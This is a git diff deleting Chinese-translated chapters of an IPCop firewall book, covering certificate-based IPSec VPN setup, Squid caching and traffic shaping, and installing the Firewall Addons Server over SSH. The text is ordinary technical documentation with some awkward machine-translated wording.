-基于证书的 VPN 的配置比预共享密钥复杂得多,但也显著提高了 VPN 提供的安全级别。 - -### 证书和 X.509 简介 - -请注意,本书没有*全面解释 X.509、证书或密码学-这里的信息旨在让您了解 IPSec 在什么上下文中工作,以便您了解它在做什么-但更进一步,给您提供足够的信息来理解您*不知道的内容,并且如果您认为重要的话,可以阅读有关您自己的信息。** - - *这些都是非常复杂的主题,如果这就是您使用的技术,那么花几个小时甚至几天的时间来阅读这些主题是非常值得的。 维基百科有关于这里提到的几乎所有技术术语的全面文章,虽然不是权威的,但通常是正确方向的优秀指针,而且经常有优秀的内容。 - -本文中的证书是 X.509 证书,其起源于 X.500,X.500 是一组目录服务标准,包括 LDAP 的前身**目录访问协议**(**DAP**)。 - -广义地说,目录服务是一组应用和协议,用于存储有关网络、其提供的服务以及其用户的信息,并且通常包括诸如用户名、用户简档、登录信息、安全信息以及许多其它应用特定信息的信息。 - -目录服务系统中的*目录*是通常存储在目录服务器上的中心位置的数据库。 数据库通常具有针对用户、计算机和其他对象的条目,对于用户,具有针对每个对象的参数,例如*用户名*或*分机号码*。 - -X.509 证书类似于目录中的条目,因为它们在单个文件中存储许多参数。 存储在 X.509 证书中的参数包括几个必填字段,例如序列号、主题、颁发者和关于存储在证书中的密钥的信息,以及用于将附加信息合并到证书中的*扩展*的规定,以及 X.509 PKI 系统中的功能。 - -X.509 系统使用颁发和管理这些证书的证书颁发机构(CA)。 存在这样的 CA 的层次结构,并且 CA 通常存在于树的顶部。 - -如果您打开任何现代浏览器的副本,则表示您已将证书存储区合并到浏览器(或 Windows 中的操作系统本身)中。 在 Windows 中,可以通过 Internet Explorer 单击**工具|Internet 选项|内容|证书**进行访问,该窗口显示如下所示: - -![A Brief Explanation of Certificates and X.509](img/1361_07_07.jpg) - -窗口顶部的选项卡指示正在查看的证书的*类型*-在本例中,选择的选项卡(默认选项卡)是**个人**证书的选项卡,这些证书是由证书颁发机构颁发给用户或计算机的证书。 它们可用于使用**S/MIME**等标准发送签名电子邮件,或使用 IPSec 访问 VPN。 - -在这些情况下,与证书相关联的私钥将用于对电子邮件进行签名以验证发送者(或者可能除了使用其公钥将电子邮件加密给另一 S/MIME 用户之外还对电子邮件进行签名),或者用于向 VPN 服务器认证。 - -上图中最右侧的选项卡是**受信任的根证书颁发机构**。 - -![A Brief Explanation of Certificates and X.509](img/1361_07_08.jpg) - -就像我可以验证发送给我的 PGP 签名的电子邮件(从数学上讲,我可以确定电子邮件是由相应私钥的所有者以不切实际的方式发送的)一样,我可以验证证书是由与上一个图像中显示的*根*证书相关联的私钥之一签名的。 - -由于分发密钥很困难,因此使用根证书签名很重要,因为它使我们能够将所有信任放在一个地方。 因为我们知道(理论上)VeriSign 只有在确认人们是他们所说的那个人之后才会向他们颁发证书,因此顺理成章的是,如果我们获得了由 Verisign 的根证书签名的[joebloggs@Somecompany.com](http://joebloggs@somecompany.com)的安全电子邮件证书,那么电子邮件的发送者是[joebloggs@Somecompany.com](http://joebloggs@somecompany.com)(假设我们同时信任 Verisign 和 ome ecompany.com 的安全性)。 - -在网上购物、电子邮件和许多其他事情的背景下,这是极其重要的! 简而言之,这些签名使您的计算机能够根据谁签署了证书以及我们是否信任它们及其证书颁发过程来决定如何处理证书。 - -HTTPS 使用 X.509 证书作为 ssl 的一部分,因此当您查看安全网站(url 以 `https://`为前缀)时,您的浏览器要么识别 ssl 使用的证书是由该地址的根证书颁发机构颁发的,要么不是。在后一种情况下,浏览器通常会弹出一个错误-这可能是因为证书是为一个稍微不同的网址颁发的(例如,如果您访问[https://www.gmail.com](http://https://www.gmail.com),它将证书用于不同的 url)。 或者因为证书是自签名的或由不在受信任根证书存储中的根证书(如 CAcert、[www.cacert.org](http://www.cacert.org),或在没有全套受信任根证书的设备(如 Smartphone)上)自签名或由根证书签名。 - -根证书是否包含在浏览器等产品中,由开发它们的公司或组织自行决定-这是互联网上使用的 X.509 PKI 实现的众多缺陷之一。 - -回到 IPSec;IPSec 可以使用 X.509 证书以与 HTTPS 相同的方式对 VPN 中的客户端进行身份验证。 请注意,与这些证书相关联的密钥实际上并不用于加密通过 VPN 本身发送的内容,而是用于安全地交换*会话*密钥,该密钥随后用于加密实际数据。 完美的前向保密性是原因之一--使用相同的密钥会使整个 VPN 处于危险之中--但也有两种主要类型的加密密码可供使用。 - -一种通常用于加密的电子邮件或文件加密,使用公钥和私钥,称为**非对称**密码,由此使用公钥加密数据,然后数据的格式只有私钥的持有者才能访问。 这种类型的密码非常适用于电子邮件等通信,因为您可以随心所欲地分发您的公钥,用户可以离线将信息加密给您,在世界任何地方,并通过不可信的网络将其发送给您。 只有当你得到这些信息时,它才会被解密。 - -另一种是**对称**密码,只使用一个密钥进行加密和解密。 由于涉及的数学运算,这些密码的加密和解密速度要快得多,但由于使用的是单一密钥,因此密钥分发变得不太实用,因为在人员众多的环境中,需要非常大量的密钥才能允许每个人与其他每个人安全地通信--实际上,对于组中的其他每个人,每个人一个密钥! - -由于在快速数据流上使用非对称密码的实用性,IPSec 和 SSH 等通信会生成用于传输数据的对称密钥(使用 RC4、AES 和 Blowfish 等密码),然后在完全建立会话之前使用非对称密钥(使用 RSA 等密码)交换用于此传输的密钥。 - -## IPCop 中具有 IPSec 的证书 - -IPCop 版本 1.4.0 不仅包含对基于证书的 IPSec 隧道的支持,还包含一个内置的 CA,以避免配置自己的 CA 的麻烦或从第三方 CA 购买证书的费用! - -因此,我们配置基于证书的 IPSec VPN 的第一步是在 VPN**证书颁发机构**窗口中。 默认情况下,在 IPCop 中,这会将**根证书**和**主机证书**列为**不存在**。 - -![Certificates with IPSec in IPCop](img/1361_07_09.jpg) - -如果我们正在使用现有的根 CA(或配置站点到站点 VPN),我们需要使用**Upload CA Certificate**按钮上传证书文件,但对于频繁使用的配置(或在从另一个防火墙上传证书文件之前),我们首先需要在**CA Name**字段中输入 CA 的名称,完成后,通过单击**生成根/主机证书**开始生成我们自己的根 CA 和主机证书的过程 - -![Certificates with IPSec in IPCop](img/1361_07_10.jpg) - -加载下一页后,我们需要填写希望 X.509 证书具有的参数。 我们需要填写的参数是**Organization Name、IPCop Hostname、E-Mail Address、Department、City、State**和**Country**。 - -![Certificates with IPSec in IPCop](img/1361_07_11.jpg) - -这些都应该是相对不言而喻的--根据您的环境,您可能希望也可能不希望在每个字段中填写真实的信息。 输入的数据无关紧要,但它将被颁发有根证书或主机证书的客户端看到。 填写完此表单后,单击**生成**按钮。 由于此步骤涉及证书的生成,因此可能需要一些时间(取决于您的 IPCop 主机的规格)。 现在你可以给自己泡杯咖啡了。 - -![Certificates with IPSec in IPCop](img/1361_07_12.jpg) - -完成此步骤后,您应返回到 VPN 配置页面,该页面与此相同,但有一个显著的不同之处,即应填充表中的**根证书**和**主机证书**条目,并在其旁边显示允许您**下载根证书**和**下载主机证书**的按钮。 - -我们的下一步是下载主机和根证书文件的副本。 我们通过在前面显示的表格中单击其条目右侧的软盘图标来执行此操作。 根文件和主机文件都应该保存到硬盘或网络共享上的某个位置,而不是在您正在执行配置的 PC 上打开或安装(除非这是您要在其上执行配置的主机)。 - -![Certificates with IPSec in IPCop](img/1361_07_13.jpg) - -## 使用证书的站点到站点 VPN - -一旦我们使用此方法保存了主机证书和根证书,我们就会在另一台 IPCop 主机上执行相同的过程。 完成后,我们在创建站点到站点 VPN 时,将每个 IPCop 防火墙的根证书和主机证书导入到**身份验证**屏幕中的另一个防火墙,选择**Upload a Certificate**选项,而不是本章前面详细介绍的**Use a Pre-Shared Key**选项。 - -一旦完成此操作,两台服务器都将使用证书而不是 PSK 进行身份验证,这为我们的 VPN 配置增加了相当大的安全性。 - -## VPN 身份验证选项 - -在**VPN 身份验证**菜单中,我们在配置 VPN 时有四个选项可用,这些选项会影响我们配置客户端的方式: - -* **使用预共享密钥:**如前所述,我们只能有一个使用预共享密钥的 VPN 配置,如果我们使用此配置,则只需在此字段中输入我们选择的 PSK。 - -* **上传证书申请:**通常,从 CA(包括 VeriSign 和 Equifax 等 CA)获取证书时,通常首先在将安装证书的系统上发出证书*请求*。 这是一个 X.509 证书,其密钥由始发系统生成,但不是由任何根 CA 签名,因此缺少任何信任机制。 通过将此*请求*文件发送到 CA(并让 CA 对其进行处理),我们可以收到同一文件的签名副本。 必须将此响应文件重新导入发出请求的计算机(该计算机具有已签名的密钥的*私钥*密钥部分),并在签名后将其组合以形成完整的证书(使用公钥/私钥)。 在多台计算机使用相同的签名证书的配置(如 Web 群集)中,一旦重新导入证书响应,就应该从原始计算机导出最终证书。 - - 某些 IPSec 软件具有生成证书请求文件的功能。 在这种情况下,我们只需选择身份验证对话框中的**Upload a Certificate Request**选项,一旦 IPCop 处理了请求文件,就可以按照与根证书和主机证书完全相同的方式从 VPN 页面下载证书。 此证书可以重新导入到客户端 - -* **上载证书:**如果 IPSec 对等方有我们希望使用的证书,例如,如果我们正在使用另一台 IPSec 主机配置站点到站点 VPN,我们将以这种方式上载主机和根证书文件。 通过将右侧 IPCop 主机的主机和根证书文件上载到左侧 IPCop 服务器,并将左侧 IPCop 主机的主机和根证书文件上载到右侧 IPCop 主机,我们使两个防火墙都能识别对方,并可以将证书用于网到网 VPN。 - -* **生成证书:**如果 IPSec 对等方本身不处理证书并且不能生成证书请求,我们可以从 IPCop 生成证书。 这比使用证书请求稍差一些,因为在任何时候使用证书请求时,私钥(使用证书所需的)都不是通过公开传输的(即使恶意攻击者拦截了来自 CA 的证书响应,他或她也不能对它做很多事情),但是如果我们打算通过 LAN 传输证书(或者在生成对话框中输入用于加密证书的强 PKCS12 文件密码),那么我们可以在一定程度上减轻这种风险。 与证书响应方法一样,此过程产生的证书可以从 VPN 页面下载。 - -## 为 VPN 配置客户端 - -这是一个复杂的主题,在不同的主机平台上差异很大。 IPCop Wiki 提供了针对 Windows 客户端的说明,这些客户端没有很好的内置支持 IPSec VPN。 - -如果我们有一个使用证书的 VPN 配置,我们要么需要使用拥有自己 CA 的客户端(如 IPCop),要么需要使用前面详细介绍的 IPCop 创建证书。 如果我们的 VPN 要求不那么复杂,或者我们不想使用证书,我们可以使用 PSK。 - -### 备注 - -**Windows 客户端配置** - -有关 Windows2000/XP 中的客户端配置,请参阅:[http://www.ipcop.org/modules.php?op=modload&Name=phpWiki&FILE=INDEX&PageName=OpenVPN How to](http://www.ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=OpenVPNHowto)。 - -Linux 用户拥有来自 IPCop 本身用于建立服务器连接的相同软件包的本机支持-Linux、BSD 和 OSX 用户应查阅其操作系统文档,以了解在其环境中配置此功能的最合适方式,因为对客户端操作系统的全面调查超出了本书的范围。 - -## 蓝色地带 - -从 1.4 版开始,IPCop 支持蓝色区域,这是一种具有比橙色或绿色区域更激进的防火墙规则的无线网段,并且专门为不受信任的无线网段设计。 这可以是开放的无线网络,只允许某些客户端访问其他网络,也可以是具有额外安全层的封闭式无线网络,甚至可以是有线网络-它不必是无线的。 - -在过去的几年里,无线安全一直是人们密切关注的主题。 从对 802.11 标准提供了哪些安全措施缺乏了解,到 wep 加密最初提供的安全性较差,无线安全仍然是许多 IT 部门和制造商的痛点。 即使 WPA 在预共享密钥和企业(使用 RADIUS 服务器)模式下提供的改进的加密仍不足以满足法规要求和要求对机密信息进行强加密的公司政策。 - -更好、更安全的无线标准(如 WPA2,备受期待的 802.11i)承诺使用当今技术的更好版本,经过改进的程序和更强的加密-但它们目前还不存在,许多较老的设备和客户端可能不支持它们。 由于所有这些原因以及纵深防御带来的安心,在无线网络上建立 VPN 连接和/或 IPSec 通常是个好主意。 - -传统上,这样的设置既复杂又昂贵,但 IPCop 现在甚至可以为家庭用户提供丰富的企业级功能。 - -### 蓝区 VPN 的前提条件 - -为了使蓝色区域 VPN 设置正常工作,我们需要一个受 IPCop 支持的以太网卡,该卡配置有适当的 IP 寻址信息(即非重叠的专用子网),并且 DHCP 服务器配置为在正确的地址范围内分配信息(即,在与 IPCop Blue 接口相同的子网中,并且将 Blue 接口地址作为网关和 DNS 服务器)。 - -### 设置 - -蓝色 VPN 的设置与出差人员 VPN 相同,配置的是*Blue*接口,而不是*Red*接口。 - -### 备注 - -**IPCop Blue VPN Wiki** - -IPCop 有一个专门用于 Blue VPN 配置的 Wiki 页面,如果设置发生变化,应该更新该页面;[IPCop&Name=phpWiki&FILE=INDEX&PageName=IPCop140BlueVpnHowto](http://www.ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=IPCop140BlueVpnHowto)。 - -# 摘要 - -我们介绍了 IPCop 防火墙和 IPSec VPN 的三种常见配置方案。 虽然我们没有从头到尾介绍整个主题,但我们希望已经为您提供了足够的信息,使您能够了解 VPN 的工作原理,并开始为您的 IPCop 主机配置(希望成功)基于证书和预共享密钥的 VPN。 在 IPSec 上有很多好书,包括本书出版商编写的关于使用 Linux 构建 VPN 的几卷书(如[http://www.packtpub.com/openswan/book](http://www.packtpub.com/openswan/book),由 Openswan 的开发人员编写)。 - -IPSec VPN 虽然受到广泛支持,但绝不是最容易配置的。 基于 SSL 的 VPN 使用与 HTTPS 相同的加密技术(如 OpenVPN),由于配置相对容易以及协议的简单性质而迅速流行;IPSec 即使与 L2TP 等协议结合使用也是复杂的,并且经常被防火墙和网络地址转换破坏。 - -OpenVPN 除了对防火墙更简单之外,还可以在任意数量的端口上运行,例如那些通常只需很少或根本不需要应用层检查即可通过防火墙的端口,如 443 或 53。 对于发现 PPTP 或 IPSec VPN 难以使用且不稳定的远程员工来说,OpenVPN 可能值得一看。 不幸的是,这种易用性是有代价的-OpenVPN 目前还没有得到广泛的支持,尽管 Windows 和 Linux 客户端存在,但它们并不常用,而且 IPCop 本身并不支持 OpenVPN(尽管有 OpenVPN 的附加组件)。 - -OpenVPN 上也有可用的资源,包括来自该发布者([http://www.packtpub.com/openvpn/book](http://www.packtpub.com/openvpn/book))的一些资源,以及关于 OpenVPN 的无数一般在线操作方法,以及使用 IPCop 的 OpenVPN([http://home.arcor.de/u.altinkaynak/howto_openvpn.html](http://home.arcor.de/u.altinkaynak/howto_openvpn.html)) - -希望有了这些材料和外部资源的链接,好奇的 IPCop 管理员现在就掌握了他或她需要的信息,以便更多地了解该主题,并可能选择一本关于该主题的特定主题的书来阅读!** \ No newline at end of file diff --git a/docs/conf-ipcop-fw/08.md b/docs/conf-ipcop-fw/08.md deleted file mode 100644 index f57a135a..00000000 --- a/docs/conf-ipcop-fw/08.md +++ /dev/null @@ -1,130 +0,0 @@ -# 八、使用 IPCop 管理带宽 - -我们现在非常清楚,IPCop 不仅仅是一个基本的数据包过滤防火墙。 我们已经看到了内置的入侵检测系统以及强大的 VPN 选项。 我们的另一个附加功能是能够通过几种不同的技术(流量整形和缓存)来管理流量。 现在,我们将了解如何使用这些功能来提高需要的网络的性能。 - -# 带宽问题 - -在目前使用的大多数网络中,通常存在由网络提供和使用的多个不同服务,并且可能存在到其他网络的多个链路。 有了这么多服务,我们可以非常快地用完带宽。 要确保网络上的所有服务和用户都有足够的带宽,最简单的方法就是购买争用较少的快速链路。 这是一个很好的理论,但经济现实要复杂一点,因为带宽可能很昂贵,而且可能是服务的主要开销。 为了解决这一问题,我们可以使用现有的服务,并尝试减少它们的带宽使用。 - -减少带宽使用量最初可以通过在可能的情况下使用节省带宽的协议来实现;但是,有时我们别无选择,必须使用应用、供应商或用户指定的特定协议。 这是我们可以考虑减轻该应用给网络带来的压力的时候。 我们可以使用许多技术和设备来实现这一点,每种技术和设备的复杂程度和结果各不相同。 然而,IPCop 本身有几个简单的选项来帮助管理我们的带宽。 - -# HTTP 问题 - -Internet 范围内最常用的协议之一是 HTTP(尽管点对点文件共享应用正在快速赶上)。 大多数企业都有一个在 HTTP 上运行的网站作为他们的基本互联网存在,很少有互联网用户不使用 HTTP。 我们可以非常有信心地认为,这将成为我们网络上使用的协议。 - -当涉及到带宽时,HTTP 给我们带来了一个重要的问题--用户希望 HTTP 几乎是即时的。 由于带宽拥塞而给用户的网络浏览体验带来延迟远非理想的情况,而且可能是网络用户首先会注意到(并抱怨)的地方。 关于带宽不足的问题。 幸运的是,IPCop 为我们提供了非常强大的选项来减少 HTTP 对网络的影响。 - -# 解决方案:代理和缓存 - -虽然使用代理本身不是节省带宽的措施,但它是与带宽控制和监控相关的功能。 代理允许您监视、修改和控制对 Web 内容的请求。 您可以选择记录和/或拒绝哪些通信,并在这些请求通过代理时对其进行修改。 由于代理位于 Web 客户端和 Web 服务器之间,因此它可以执行一些其他功能,例如缓存。 - -对于同一网络上的用户来说,访问几个相同的网站是很常见的。 这意味着用户每次访问网站时,都会下载页面上的所有 HTML 和图片。 如果该内容只下载一次,然后以某种方式存储以便呈现给请求相同内容的后续客户端,这显然对我们的网络是有益的。 我们的浏览器在本地为我们做这件事,所以如果我们多次访问同一个页面,我们的浏览器就有可能为我们缓存了一个本地副本。 - -这正是缓存代理将为我们提供的功能,但它将为每个人缓存。 每当用户下载页面及其图像时,代理都会在其内存中保留一份副本(和/或将其写入磁盘)。 无论何时出现对相同内容的请求,代理都会向客户端提供该文件的缓存版本的副本,而不是将其传递到原始网站。 我们可以大幅减少带宽,特别是当我们的用户访问许多相同的站点时。 这并不意味着您获得的信息将会过时;网站可以要求代理不缓存与时间相关的信息(股票信息、天气等)。 - -# 鱿鱼简介 - -**Squid**是可用的最有用、功能最强大的 Web 代理和缓存系统之一。 它是免费和开源的,这就是为什么它可以包含在 IPCop 中。 Squid 本身具有相当复杂的配置文件,并执行各种代理和缓存功能。 正如我们期待的那样,IPCop 很好地抽象了这一复杂性,让我们更轻松地配置 Squid。 - -Squid 诞生于一个*分支*,它是一个代理/缓存项目,并于 1994 年发布了它的第一个版本,因此 Squid 的开发时间跨度超过了 10 年。 这导致了一个相当稳定且功能齐全的代理和缓存应用。 最初的嘉实缓存项目不再处于开发阶段。 - -# 配置 Squid - -IPCop 中的 Squid 配置屏幕非常容易操作,您只需单击几个框即可完成基本配置。 - -![Configuring Squid](img/1361_08_01.jpg) - -在本例中,我们只有一个绿色接口;但是,我们可以在所有其他接口上启用代理-除了 Red,它是 Internet 连接。 - -第一步非常明显;我们在需要代理的接口上启用代理,方法是单击第一个复选框,然后选择代理侦听的端口(默认情况下在 IPCop 中为 800-尽管 Squid 通常在端口 3128 上运行)。 我们还可以选中**Log Enabled**框,该框不特定于接口,因此我们要么全部记录,要么不记录。 如果我们想在某个时候监视代理,启用此选项是个好主意。 我们还可以通过 ISP 提供的代理链接此代理,例如,通过配置将由 ISP 或其他代理服务提供商提供的**上游**选项。 可能需要要连接的主机端口以及用户名和密码。 - -透明度需要更多的解释。 传统上,代理监听机器上的特定端口,客户端必须配置为连接到此端口。 例如,代理可能位于 IP 地址 10.0.0.1 上,侦听端口 800。 在本例中,我们将配置所有 HTTP 客户端以连接到此代理。 Firefox 和 Internet Explorer 都有网络设置对话框,我们可以在其中配置代理访问。 Firefox 代理配置屏幕如下图所示: - -![Configuring Squid](img/1361_08_02.jpg) - -这是一种简单的使用方法,但是如果我们必须以这种方式配置所有的应用,可能会变得单调乏味,特别是如果我们在网络上有许多机器要以相同的方式进行配置。 这就是透明代理变得有用的地方。 它不是监听一个端口并转发请求,而是监视通过机器的所有流量,并在检测到 HTTP 流量的地方尝试缓存。 这也有一个缺点,那就是其他一些协议可能看起来像 HTTP,尝试缓存这些协议可能会破坏它们。 如果我们启用透明代理,不久之后应用开始出现问题,那么作为初始步骤关闭透明度是值得的。 这是一个罕见的具体问题,但可能很难追踪到。 - -# 缓存管理 - -**缓存大小:**我们希望缓存占用多少磁盘空间? 这被设置为默认的 50MB,这对于大多数小型网络来说是非常合理的。 如果我们有很多用户,我们可能希望将其增加到几个 100MB。 除了非常大的网络之外,几乎没有必要在任何网络上超过 1 GB。 此外,如果该数字明显大于 IPCop 机器上的可用内存,那么我们将有大量的磁盘读/写,这可能会减慢速度。 - -**最小对象大小:**有时我们不想缓存非常小的文件,因为这样效率会很低。 不过,通常将其保留为零是个好主意,因为这些文件的重复 HTTP 开销可能会影响性能。 - -**最大对象大小:**同样,我们可能不希望缓存过大的文件,因为这会迅速填满我们的缓存,并导致我们遇到我们希望避免的磁盘读/写问题。 - -通常应该使用前两个选项的默认值,除非我们有特殊需要更改它们,例如用户不断下载相同的大文件。 - -## 转账限额 - -我们还可以控制通过系统传输文件的最大和最小大小。 这不是一个好主意,除非我们有一个具体的案例来这样做,因为这可能会让用户非常沮丧。 如果我们想防止用户下载非常大的文件(如 ISO),以防止网络带宽被滥用于个人用途,这是相当方便的。 - -# 在不使用缓存的情况下管理带宽 - -HTTP 不是我们网络上唯一需要足够带宽的协议。 例如,如果我们的网络上有在线游戏或语音和视频通信,这些服务通常比其他服务具有更高的优先级,因为它们的使用时间敏感。 你不想因为网络上的用户正在下载大文件而与客户进行断断续续的语音对话,或者在家庭网络上,你不想因为有人决定开始收听他们的在线电台而失去你在网络游戏中的高分。 这就是流量整形的用武之地。 - -## 流量整形基础 - -为了确保服务质量(QoS),我们必须控制流量,以便将高优先级流量视为高优先级! 有了流量整形,我们可以使用与数据包过滤中使用的所有参数相同的参数;但是,我们不是决定是否通过流量,而是做出更复杂的决策,决定向哪些流量提供最高优先级,从而优先处理哪些流量或为其分配比网络上使用的其他协议更多的带宽。 - -流量通常用于控制媒体服务。 基于视频和音频的服务在很大程度上依赖于低延迟和充足的可用带宽,因此在网络中引入流量整形来适应这些服务是很常见的。 - -### 备注 - -**利用流量整形的 ISP** - -一些 ISP 使用流量整形的方式与我们在此描述的方式大致相同,以向依赖带宽和延迟的服务提供更好的服务。 - -这还有另一个商业用途,那就是提供服务。 互联网服务提供商可以塑造流量(有些确实是这样),这样一家内容提供商的服务比另一家的响应更好。 例如,互联网服务提供商可以对优先级调整收费,如果谷歌为这项服务付费,他们将得到保证,他们的内容和服务将更快、更快地响应他们的竞争对手,如雅虎! 和 MSN。 - -这是一种有效的竞争方式,因为 ISP 用户可能会坚持使用*较好的*内容提供商。 显然,这并不完全符合 ISP 用户的利益,但对于 ISP 和可能为这些服务付费的内容提供商来说,这肯定是一项有利可图的冒险。 - -## 流量整形配置 - -流量整形配置页面非常简单,可以为我们提供更多选项,但我们可以根据使用的端口进行整形,这使我们能够足够具体地区分大多数服务以实现流量整形。 - -![Traffic Shaping Configuration](img/1361_08_03.jpg) - -文字**流量整形**旁边的复选框用于启用该服务。 但是,在我们定义一些流量整形规则之前,这不会对流量产生任何影响。 - -我们还必须提供上行和下行速度。 这就是我们的网络将数据传出和传入的速度。 下表提供了常用上载和下载速度的快速参考,对于我们的设置来说,这可能并不完全准确。 建议我们测试自己的速度或咨询我们的 ISP 以获取更准确的信息。 - - -| - -连接类型 - - | - -上行链路(千位/秒) - - | - -下行链路(千位/秒) - - | -| --- | --- | --- | -| 拨号 | 48 | 56 | -| 电缆(1 兆克) | 256 | 1000 | -| T1 | 一百九十二 | 1540 | - -有关不同服务的上传和下载速度的更完整指南可在此处找到:[http://en.wikipedia.org/wiki/List_of_device_bandwidths](http://en.wikipedia.org/wiki/List_of_device_bandwidths)。 - -## 添加流量整形服务 - -![Adding a Traffic Shaping Service](img/1361_08_04.jpg) - -为了添加服务,我们填写了三个必填字段,然后选择**Enabled**。 单击**Add**向底部窗格中的**流量整形服务**添加新行。 在本例中,我们添加了端口**5060 UDP**(SIP)作为**高**优先级,这将确保此服务在网络上优先。 这些都是非常基本的流量整形选项,我们无法定义端口范围或按 IP 地址整形。 我们的优先级限制为三个级别-低、中和高,每次添加一个端口。 没有必要列出将通过 IPCop 的所有端口,因为默认情况下,未指定的端口将以中等级别处理。 要删除此规则,只需单击右侧的垃圾桶;我们还可以使用**操作**标题下的复选框启用或禁用添加的规则。 - -## 编辑流量整形服务 - -为了编辑我们已经添加的服务,我们可以点击动作标题下的铅笔,它应该会显示如下屏幕: - -![Editing a Traffic Shaping Service](img/1361_08_05.jpg) - -我们可以看到,我们的规则现在以黄色突出显示,以便清楚地表明我们正在编辑哪个规则,并且我们在上面的配置框中具有原始参数。 **添加**按钮也已更改为**更新**。 现在,我们修改所需的任何值,然后单击**更新**按钮,这将保存规则并将我们带回初始流量整形屏幕。 - -IPCop 还提供了可进一步扩展这些功能的附加模块,如果您有一些重要的流量整形工作要完成,则值得考虑这些模块。 - -# 摘要 - -在本章中,我们介绍了使用 IPCop 进行缓存和流量整形,以及如何配置这些内容。 即使是在最小的网络上,这也是有用的,因为我们对服务访问进行了优先排序,使网络上的用户能够保证为正在使用的任何关键服务提供尽可能好的服务。 在 IPCop 中执行此操作的选项非常基本,而且我们的控制能力有限。 然而,我们已经看到,为了提高带宽利用率,有可能对服务产生影响。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/09.md b/docs/conf-ipcop-fw/09.md deleted file mode 100644 index 7bba58f1..00000000 --- a/docs/conf-ipcop-fw/09.md +++ /dev/null @@ -1,409 +0,0 @@ -# 九、自定义 IPCop - -IPCop 是市场上功能最齐全的 SOHO 防火墙之一,到目前为止,您应该已经熟悉了大部分功能,但您可能已经注意到了一些不足之处。 在某些领域,IPCop 可能没有以正确的方式执行某个功能,或者没有我们需要的特定功能。 那么我们能做些什么呢? 我们可以使用一些基本的插件来定制 IPCop。 - -# 加载项 - -IPCop 的核心是一组基于 Linux 的工具,它们通过令人印象深刻的基于脚本的粘合剂结合在一起。 因此,我们可以修改、扩展和改进系统以满足我们的需求也就不足为奇了。 这就是开源软件的社区部分变得重要的地方,因为我们发现该系统的用户已经开发了各种可以在 IPCop 上安装和使用的插件。 - -插件通常由第三方开发,即 IPCop 开发者以外的人。 它们的开发通常是为了填补用户在软件中发现的一些空白,然后发布,以便其他用户可以从工作中受益,并解决类似的问题。 - -我们将看看一些常见的插件,它们提供了什么,以及我们如何使用它们。 我们可以在 IPCop 网站上找到这些插件的链接:[http://ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=IPCopAddons](http://ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=IPCopAddons)。 - -# 防火墙附加服务器 - -防火墙插件服务器为我们提供了一个简单、用户友好且基于 Web 的系统来管理 IPCop 的一些插件。 要使用本章中的加载项,必须安装此插件。 - -我们可以从[http://firewalladdons.sourceforge.net/](http://firewalladdons.sourceforge.net/)下载防火墙插件服务器软件包。 - -在编写本文时,我们将使用文件:[http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/addons-2.3-CLI-b2.tar.gz](http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/addons-2.3-CLI-b2.tar.gz) - -对于更高版本,此位置可能会更改,应更改以下与文件名相关的命令,以反映下载的文件的名称。 - -首先,我们使用指定端口 222(SSH 访问的 IPCop 默认端口)的 `scp`命令将此文件复制到服务器,并指定 root 用户。 - -```sh - $ scp -P 222 addons-2.3-CLI-b2.tar.gz root@10.0.0.200:/ - -``` - -系统将提示我们输入 root 帐户的密码,这是我们在安装 IPCop 机器时设置的密码。 - -现在,文件准备就绪,我们可以登录到 IPCop 机器并对其进行设置。 - -```sh - $ ssh -p 222 root@10.0.0.200 - -``` - -### 备注 - -**p 与 p** - -请注意,小写的 `-p`用于带有 `ssh`的端口,大写的 `-P`用于带有 `scp`的端口。 这种差异可能会变得非常恼人,并可能导致难以发现的打字错误。 如果无法连接,请检查命令的大小写是否正确。 - -输入 root 密码后,我们应该会看到以下提示: - -```sh - root@ipcop:~ # - -``` - -现在,我们键入以下命令来设置插件服务器: - -```sh - # mv /addons /addons.bak -# tar xzvf /addons-2.3-CLI-b2.tar.gz -C / -# cd /addons -# ./addoncfg -u -# ./addoncfg -i - -``` - -命令完成后,我们登录到 IPCop Web 界面,应该会看到页面顶部的菜单中添加了一个内容。 - -![Firewall Addons Server](img/1361_09_01.jpg) - -我们将看看我们的 Web 界面现在有的几个新页面,以及它们提供的附加选项。 - -**插件-新闻**页面显示有关防火墙插件服务器及其提供的插件的更新。 除了我们希望看到多少新闻之外,这里没有其他配置选项。 它是一个综合信息页面,使用从插件网站下载的重要新闻。 - -![Firewall Addons Server](img/1361_09_02.jpg) - -**addons**页面提供有关已安装的加载项和当前可用的加载项的信息,并允许我们安装或删除加载项。 - -![Firewall Addons Server](img/1361_09_03.jpg) - -**Adons-UPDATE**页面为我们提供有关插件更新的信息,其方式与**Adons**页面有关插件本身的方式大致相同,它显示了可用的内容,并为我们提供了安装更新的方法。 - -![Firewall Addons Server](img/1361_09_04.jpg) - -## 安装加载项 - -现在我们已经熟悉了防火墙插件服务器的界面,我们可以开始安装和使用插件了。 我们将从 SquidGuard 开始,正如您可能已经注意到的,它已经安装在前面的屏幕截图中。 要安装插件,我们转到**插件**页面并向下滚动,直到看到我们想要安装的插件。 然后,我们单击右侧的**Info**超链接,它会将我们带到插件的详细信息和下载页面。 对于 SquidGuard,该页面是[http://firewalladdons.sourceforge.net/squidguard.html](http://firewalladdons.sourceforge.net/squidguard.html)。 - -在此页面上,我们获得了有关该插件的详细信息,并获得了指向当前版本的下载链接;在撰写本文时,该链接是:[http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/SquidGuard-1.2.0-GUI-b11.tar.gz](http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/SquidGuard-1.2.0-GUI-b11.tar.gz)。 这很可能会更新,所以请先检查一下之前的链接! - -我们下载 GZIPPED tar 归档中的插件。 然后,我们返回到**Addons**页面,单击**Browse**按钮,浏览到我们刚刚下载的文件,单击**Upload**,外接程序安装在服务器上。 - -### 备注 - -注意:有时上载加载项时,特别是像 SquidGuard 这样会重启 Web 服务器的加载项,我们不会自动刷新页面,并且/或者连接可能会超时。 在浏览器中点击**Refresh**或**Stop**,然后点击**Refresh**,我们将返回到**Adons**页面。 - -与防火墙插件服务器一起安装的所有其他插件的过程都类似,因此当我们稍后查看其他插件及其工作方式时,没有必要重复这些步骤。 - -# 常用加载项 - 